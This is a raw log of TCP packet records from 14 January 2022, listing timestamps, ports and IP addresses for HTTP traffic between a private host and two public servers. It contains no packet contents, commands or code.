Jan 14, 2022 02:05:17.222153902 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222162962 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222170115 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222183943 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222187042 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222203970 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222220898 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222228050 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222238064 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222253084 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222265959 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222270966 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222287893 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222289085 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222306013 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222321033 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222322941 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222338915 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222356081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222357035 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222373009 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222381115 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222388983 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222407103 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222421885 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222423077 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222440958 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222449064 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222459078 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222475052 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222481966 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222491980 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222508907 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222524881 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222536087 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222542048 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222558975 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222573042 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222574949 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222592115 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222598076 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222608089 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222620010 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222625017 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222642899 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.222654104 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.222690105 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.229295969 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229388952 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229417086 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229449034 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.229450941 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229500055 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229522943 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.229553938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229572058 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229595900 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229620934 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.229634047 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229655027 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.229681015 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229727983 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.229729891 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229793072 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229866028 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229913950 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.229933023 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.229981899 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.229994059 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230048895 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230120897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230170965 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230180979 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230221033 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230228901 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230237961 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230254889 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230272055 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230288029 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230298042 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230304003 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230321884 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230335951 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230339050 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230355024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230357885 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230370998 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230381012 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230390072 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230406046 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230413914 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230422974 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230438948 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230454922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230463982 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230472088 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230488062 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230495930 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230504036 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230519056 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230521917 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230537891 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230550051 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230556011 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230572939 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230588913 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230598927 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230607033 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230624914 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230640888 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230644941 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230663061 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230679035 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230696917 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230712891 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230717897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230731010 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230736017 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230753899 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230768919 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230777025 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230786085 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230799913 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230803013 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230819941 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230834961 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230835915 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230854034 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230870962 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230874062 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230886936 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230901957 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230912924 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230918884 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230936050 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230941057 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230952024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230969906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230969906 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.230986118 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.230998039 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.231004000 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.231020927 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.231030941 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.231036901 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.231054068 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.231071949 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.231080055 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.231117010 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.244823933 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.244849920 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.244864941 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.244889021 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.244926929 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.244968891 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.245023012 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.245043039 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.245101929 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.245218039 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.245239019 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.245291948 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.245435953 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.245635986 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.247116089 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.293925047 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.293977976 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294018030 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294055939 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294083118 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.294094086 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294123888 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.294133902 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294172049 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294194937 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.294210911 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294217110 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.294250011 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294286966 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294326067 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294342041 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.294363976 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294377089 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.294399977 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294439077 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294476032 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294491053 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.294514894 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294529915 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.294558048 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294595003 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294632912 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294650078 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.294671059 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294683933 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.294708014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294745922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294784069 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294800043 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.294822931 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294836998 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.294862986 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294899940 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294939041 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294954062 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.294976950 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.294991016 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.295015097 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295053959 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295114994 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295128107 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.295151949 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295191050 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295209885 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.295237064 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295253992 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.295295000 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295401096 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295460939 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.295540094 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295593977 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.295629978 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295670986 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295711040 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295747995 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295763016 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.295785904 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295794964 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.295825005 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295862913 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295902014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295919895 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.295939922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.295953989 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.295979023 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.296019077 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.296056986 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296076059 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.296096087 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296135902 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296174049 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296194077 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.296240091 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296286106 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296298027 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.296336889 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296374083 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296389103 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.296418905 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.296447039 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296484947 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296523094 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296539068 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.296577930 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296613932 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296628952 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.296669960 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296709061 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296746969 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.296763897 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.297111034 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.297149897 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.297166109 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.297205925 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.297244072 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.297265053 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.297337055 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.302268982 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302320957 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302356005 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.302371025 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302548885 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302604914 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.302623034 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302658081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302678108 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.302691936 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302725077 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302757978 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302778959 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.302791119 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302819014 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.302824020 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302859068 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302891970 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302917004 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.302926064 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302958965 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.302983046 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.302990913 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303006887 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303024054 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303056955 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303076982 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303090096 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303124905 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303158045 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303179979 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303189993 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303215981 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303224087 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303255081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303287983 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303319931 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303324938 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303339005 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303352118 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303385019 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303416967 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303436041 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303450108 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303467989 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303482056 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303514957 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303546906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303565979 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303580999 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303606987 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303613901 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303647995 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303678989 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303699017 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303710938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303729057 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303744078 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303776026 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303809881 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303827047 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303842068 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303864956 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303874969 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303909063 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303941011 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303960085 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.303975105 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.303991079 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.304008007 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304039955 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304073095 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304091930 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.304106951 CET	80	49879	141.8.194.74	192.168.2.3
